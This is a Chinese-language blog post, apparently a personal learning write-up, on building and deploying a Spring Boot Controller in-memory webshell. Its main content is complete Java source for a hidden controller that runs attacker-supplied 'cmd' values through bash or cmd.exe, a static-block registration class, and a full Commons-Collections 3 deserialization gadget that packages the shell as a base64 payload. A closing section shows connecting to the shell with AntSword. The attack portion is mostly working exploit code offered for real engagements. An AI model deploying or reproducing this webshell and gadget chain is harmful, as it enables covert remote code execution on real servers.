0x00 前言
几个月前就学了内存马,把tomcat、spring、Java Agent三种内存马学完之后就不管不顾,并没有用于实战中。真正在打实战才发现,我对内存马的利用只局限于上传jsp文件。
我反思自己为什么会犯这种错误——学之不能致用,一方面说明我的学习是机械的学习,极大的依赖教程,并没有深刻的理解原理;另一方面,就是没有主动想过用内存马打打实战,甚至是靶场也行。
所以本文将从两个维度综合讨论内存马,也就是原理和实战,这里不再赘叙内存马的基础原理,而是让原理为实战控制器。
本文以Spring Conrtoller内存马为例。
0x01 环境
现在比较流行的框架是Spring Boot,所以我选择用Java8 + Spring Boot2.6:

插件带上一个Spring Web,因为本文会结合前端:

Spring Boot各个组件版本如下:
- Spring Framework: 5.3.23 
- Spring Web: 5.3.23 
- Tomcat: 9.0.68 
创建web包,给出hello控制器和反序列化控制器:


0x02 原理
原理说简单也简单,就是把一个恶意组件(本文组件是控制器)打入内存,由于该组件可以被前端调用,我们可以利用该组件随时进行RCE。
内存马的优点有二,一是注入到内存中,常规方法难以发现,在此基础上更近一步的是不死马;二是可以在不出网不回显的情况下于请求包中构造回显,扩大了攻击面。
回到原理。我们要想成功利用Spring Controller内存马进行RCE并把内容回显到响应体,必须满足以下条件:
- 得到当前的上下文,也就是WebApplicationContext。WebApplicationContext 是 Spring Boot Web 控制器的运行时环境,通过它,我们就可以把Controller内存马动态注册到当前的Web控制器。 
- 实现Controller内存马,该控制器给出一个方法/路由接受恶意参数并返回目标数据到响应包。 
- 写一段Java程序,把内存马注册到WebApplicationContext里,使得当前的Web控制器可以找到该Controller。 
事实上,这三步可以整合到一个类的静态代码块,那么只要该类被加载,静态代码块里的内容就会自动执行内存马。在Java反序列化中,TemplatesImpl类可以加载实现了AbstractTranslet接口的类,前面说的三合一类实现该接口就可以了。
0x03 POC
构造EvilController
我们不妨先构造一个简单的恶意控制器(EvilController),也就是内存马的核心部分,通过该控制器,我们给出一个POST参数cmd,就可以让系统执行cmd并将结果回显到响应包。代码如下:

注意这几行代码:
java.io.PrintWriter printWriter = response.getWriter(); :获取HTTP响应的PrintWriter对象,之后把执行命令之后的输出读入到响应体
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); :这里的builder.start()就是在执行系统命令。
现在我们得到了一个可以被利用的恶意控制器,但是该控制器并没有被注册到Spring Boot的Web服务配置中,那么当我们前端访问evilserver路由时,系统找不到对应的控制器。
注册EvilController
注册谁,注册到哪里,怎么注册?注册EvilController,注册到Web服务,至于注册方法,由于专业性较强,我稍微介绍即可。
在Spring MVC框架中,RequestMappingHandlerMapping类可以注册Controller,想要获得前者,需要通过ApplicationContext获取,而WebApplicationContext的获取有好几种方法,我下面就拿一种分析:
| 12
 
 | WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
 
 | 
然后我们获得RequestMappingHandlerMapping类:
| 12
 
 | RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
 
 | 
接着我们把Controller注册到RequestMappingHandlerMapping里即可:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
 
 PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
 
 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
 
 RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
 r.registerMapping(info, Class.forName("evilController").newInstance(), method);
 
 | 
现在我们要把代码整合起来,却发现一个问题,这行代码一定要运行在Web服务里才能得到WebApplicationContext:
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
所以接下来有两种思路:
- 单独写一个class被反序列化加载类,触发静态代码块执行注册流程
- 把这段代码就放在EvilController的静态代码块里,因为静态代码块是最新被执行的,所以就相当与先获得WebApplicationContext再进行后面流程
选择第一种,那我们需要单独构造一个类,如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 
 | package com.upgraded.test;
 import com.sun.org.apache.bcel.internal.generic.ATHROW;
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.springframework.web.context.ContextLoader;
 import org.springframework.web.context.WebApplicationContext;
 import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
 import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
 import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
 import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
 import java.lang.reflect.Method;
 
 public class Register extends AbstractTranslet {
 static {
 
 WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
 
 RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
 
 Method method = null;
 try {
 method = (Class.forName("com.upgraded.web.evilController").getDeclaredMethods())[0];
 } catch (ClassNotFoundException e) {
 throw new RuntimeException(e);
 }
 PatternsRequestCondition url = new PatternsRequestCondition("/evilserver");
 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
 RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
 try {
 r.registerMapping(info, Class.forName("com.upgraded.web.evilController").newInstance(), method);
 } catch (InstantiationException e) {
 throw new RuntimeException(e);
 } catch (IllegalAccessException e) {
 throw new RuntimeException(e);
 } catch (ClassNotFoundException e) {
 throw new RuntimeException(e);
 }
 }
 
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 }
 
 
 | 
选择第二种,就把该类换成EvilController,再往静态代码块里添加注册流程就可以了:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 
 | package com.upgraded.web;
 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.context.WebApplicationContext;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;
 import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
 import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 import org.springframework.web.servlet.support.RequestContextUtils;
 
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 import java.io.Serializable;
 import java.lang.reflect.Method;
 
 
 public class EvilController extends AbstractTranslet  implements Serializable{
 static {
 WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
 
 RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
 
 Method method = null;
 try {
 for (Method m : Class.forName("com.upgraded.web.EvilController").getDeclaredMethods()) {
 if ("evilServer".equals(m.getName())) {
 method = m;
 break;
 }
 }
 } catch (ClassNotFoundException e) {
 throw new RuntimeException(e);
 }
 
 RequestMappingInfo.BuilderConfiguration config =
 new RequestMappingInfo.BuilderConfiguration();
 config.setPatternParser(r.getPatternParser());
 
 
 RequestMappingInfo info = RequestMappingInfo
 .paths("/evilserver")
 .methods(RequestMethod.GET, RequestMethod.POST)
 .options(config)
 .build();
 try {
 r.registerMapping(info, Class.forName("com.upgraded.web.EvilController").newInstance(), method);
 } catch (InstantiationException e) {
 throw new RuntimeException(e);
 } catch (IllegalAccessException e) {
 throw new RuntimeException(e);
 } catch (ClassNotFoundException e) {
 throw new RuntimeException(e);
 }
 }
 
 
 @ResponseBody
 public String evilServer(HttpServletRequest request, HttpServletResponse response, @RequestParam("cmd") String cmd) throws Exception{
 if (cmd != null) {
 try {
 java.io.PrintWriter printWriter = response.getWriter();
 ProcessBuilder builder;
 
 if (System.getProperty("os.name").toLowerCase().contains("win")) {
 builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
 } else {
 builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
 }
 BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));
 String s = bufferedReader.readLine();
 printWriter.println(s);
 printWriter.flush();
 printWriter.close();
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 return "over";
 }
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 }
 
 
 | 
接下来就写一个cc3链,其被Web服务里的unser路由接收后,会进行Java反序列化,其中会把EvilController类进行类加载,先触发其静态代码块,其中便注册了EvilController内存马。
先添加依赖:
| 12
 3
 4
 5
 
 | <dependency><groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
 </dependency>
 
 | 
写出gadget:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 
 | package com.upgraded.test;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InstantiateTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 
 
 import javax.xml.transform.Templates;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 
 import java.util.Base64;
 
 import static org.springframework.util.SerializationUtils.serialize;
 
 public class CC3_payload {
 public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();
 Class TemplatesImplClass = templates.getClass();
 Field nameField = TemplatesImplClass.getDeclaredField("_name");
 nameField.setAccessible(true);
 nameField.set(templates, "_nameIsHere");
 
 
 Field bytecodesField = TemplatesImplClass.getDeclaredField("_bytecodes");
 bytecodesField.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/MeHorses/upgraded/target/classes/com/upgraded/web/EvilController.class"));
 byte[][] codes = new byte[][]{code};
 bytecodesField.set(templates, codes);
 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
 Transformer[]  transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 instantiateTransformer
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 HashMap<Object, Object> map = new HashMap<>();
 map.put("value", "value");
 Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
 Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
 annotationInvocationHandlerConstructor.setAccessible(true);
 Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
 
 byte[] serialize = serialize(annotationInvocationHandler);
 System.out.println(Base64.getEncoder().encodeToString(serialize));
 
 
 }
 
 public static <T>  byte[] serialize(T o) throws Exception {
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
 out.writeObject(o);
 return byteArrayOutputStream.toByteArray();
 }
 
 public static <T> T deserialize(byte[] ser) throws Exception {
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
 return (T) in.readObject();
 }
 
 
 }
 
 
 | 
在实战中,如果一个反序列化入口没有回显也不能出网,我们就可以运行CC3_payload,把base64编码后的payload喂给反序列化入口,后端会从解码后的payload中类加载EvilController,后者的静态代码块执行,该Controller被成功注册,我们最后访问/evilserver,传参cmd即可。结果如下:

在实战中,我们可以cat /etc/passwd等等,最后的输出回到响应体。
其实在编写POC的时候遇到很多错误,大致有下,具体就不展开说说了:
- Spring Boot 不使用传统的 ContextLoaderListener,需要从请求上下文获取 WebApplicationContext
- Spring 5.3+ 手动注册路由必须配置 PatternParser
- 修改源码后必须重新编译,否则读取的还是旧字节码
- 方法选择要明确指定名称,不能依赖数组索引顺序
0x04 工具
我们现在可以构造Spring Controller内存马,对比一下也能搞出其他类型的内存马,然后就可以集成为一个工具。出于时间考量,我在短期内并没有集成的想法。但是比赛的时候需要用到内存马,我没有时间慢慢思考调试,所以我需要找到可以快速生成内存马,以及可以把内存马用到Java其他漏洞上的工具。
我最先看到了这个比较有名的工具:pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.

这个工具可以很方便的构造内存马,暂且不管密钥,密码和请求头键值对的设计都是为了增加内存马的隐秘性。但是这个工具存在一个问题,就是不能直接对接Java反序列化,我们必须把编码后的数据再放入TemplatesImpl里。
说到Java反序列化工具,我想起Java Chains,正好我记得其可以对接内存马,一看还真是对接了这个工具,具体参数如下:

拿上面的反序列化入口试试:


AntSwort添加连接:


成功连上:

0x05 深入
要想搞懂内存马,只了解一个Spring Controller内存马是不够的。正好借着这次学习的机会,搞一个属于自己的内存马+反序列化 EXP。
Java Agent内存马
我发现Java Chains似乎没有内置Java Agent内存马,正好我也忘记的差不多了,就先从Java Agent内存马开始。